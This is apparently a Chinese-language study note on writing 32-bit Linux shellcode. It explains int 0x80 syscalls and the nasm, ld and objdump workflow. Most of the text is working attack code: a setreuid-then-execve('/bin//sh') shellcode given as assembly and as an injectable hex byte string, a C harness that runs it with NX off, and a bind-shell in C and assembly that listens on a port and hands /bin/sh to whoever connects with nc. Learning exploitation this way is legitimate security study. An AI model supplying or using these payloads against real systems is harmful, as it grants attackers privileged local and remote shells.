一:基本shellcode
1、shellcode需要用到系统调用的调用号,可以通过unistd.h查看,具体某个系统调用的用法可以通过man syscall来查看
2、在现在的指令集中引入了syscall指令,但是原来的int 0x80调用正常可以使用。int 0x80调用将系统调用号放在eax, 参数依次放在ebx, ecx, edx, esi, edi;超过5个的将参数放在内存中,并将内存地址放在ebx寄存器中。 (strace命令可以查看一个程序的系统调用序列)
3、写shellcode的一般步骤
(1)编写汇编代码
sc.asm:
section .text
global _start
_start:
xor eax, eax
mov al, 0x46
xor ebx, ebx
xor ecx, ecx
int 0x80
//使用execve()调用bash
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0xb
int 0x80
(2)编译汇编代码
nasm -f elf sc.asm
ld -o sc sc.o
(3)查看十六进制操作码
objdump -d sc
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: b0 46 mov $0x46,%al
8048064: 31 db xor %ebx,%ebx
8048066: 31 c9 xor %ecx,%ecx
8048068: cd 80 int $0x80
804806a: 31 c0 xor %eax,%eax
804806c: 50 push %eax
804806d: 68 2f 2f 73 68 push $0x68732f2f
8048072: 68 2f 62 69 6e push $0x6e69622f
8048077: 89 e3 mov %esp,%ebx
8048079: 50 push %eax
804807a: 53 push %ebx
804807b: 89 e1 mov %esp,%ecx
804807d: 31 d2 xor %edx,%edx
804807f: b0 0b mov $0xb,%al
8048081: cd 80 int $0x80
(4)测试shellcode,这种测试方式必须关闭NX
char sc[] =
"\x31\xc0"
"\xb0\x46"
"\x31\xdb"
"\x31\xc9"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";
二、socket连接
1、C源码
main()
{
void (*fp)(void);
fp = (void *)sc;
fp();
}
#include
#include
int main()
{
char *shell[2];
int server, client;
struct sockaddr_in serv_addr;
server = socket(2,1,0);
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0xBBBB;
serv_addr.sin_family=2;
bind(server, (struct sockaddr*)&serv_addr, 0x10);
listen(server, 0);
client = accept(server, 0, 0);
dup2(client, 0);
dup2(client, 1);
dup2(client, 2);
shell[0]="/bin/sh";
shell[1]=0;
execve(shell[0], shell, 0);
}
2、汇编代码
(1)需要知道socket库函数的系统调用名称,以及参数传递方式
(2)使用nc连接
BITS 32
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor edx, edx
;server=socket(2,1,0)
push eax
push 0x1
push 0x2
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov esi, eax
;bind(server, (struct sockaddr*)&serv_addr, 0x10)
push edx
mov edx, 0xbbbb0103
sub dx, 0x0101
push edx
xor edx, edx
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
inc bl
mov al, 102
int 0x80
;listen(server, 0)
push edx
push esi
mov ecx, esp
mov bl, 0x4
mov al, 102
int 0x80
;client = accept(server, 0, 0)
push edx
push edx
push esi
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov ebx, eax
;dup2(client, 0);
xor ecx, ecx
mov al, 63
int 0x80
;dup2(client, 1);
inc ecx
mov al, 63
int 0x80
;dup2(client, 2);
inc ecx
mov al, 63
int 0x80
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80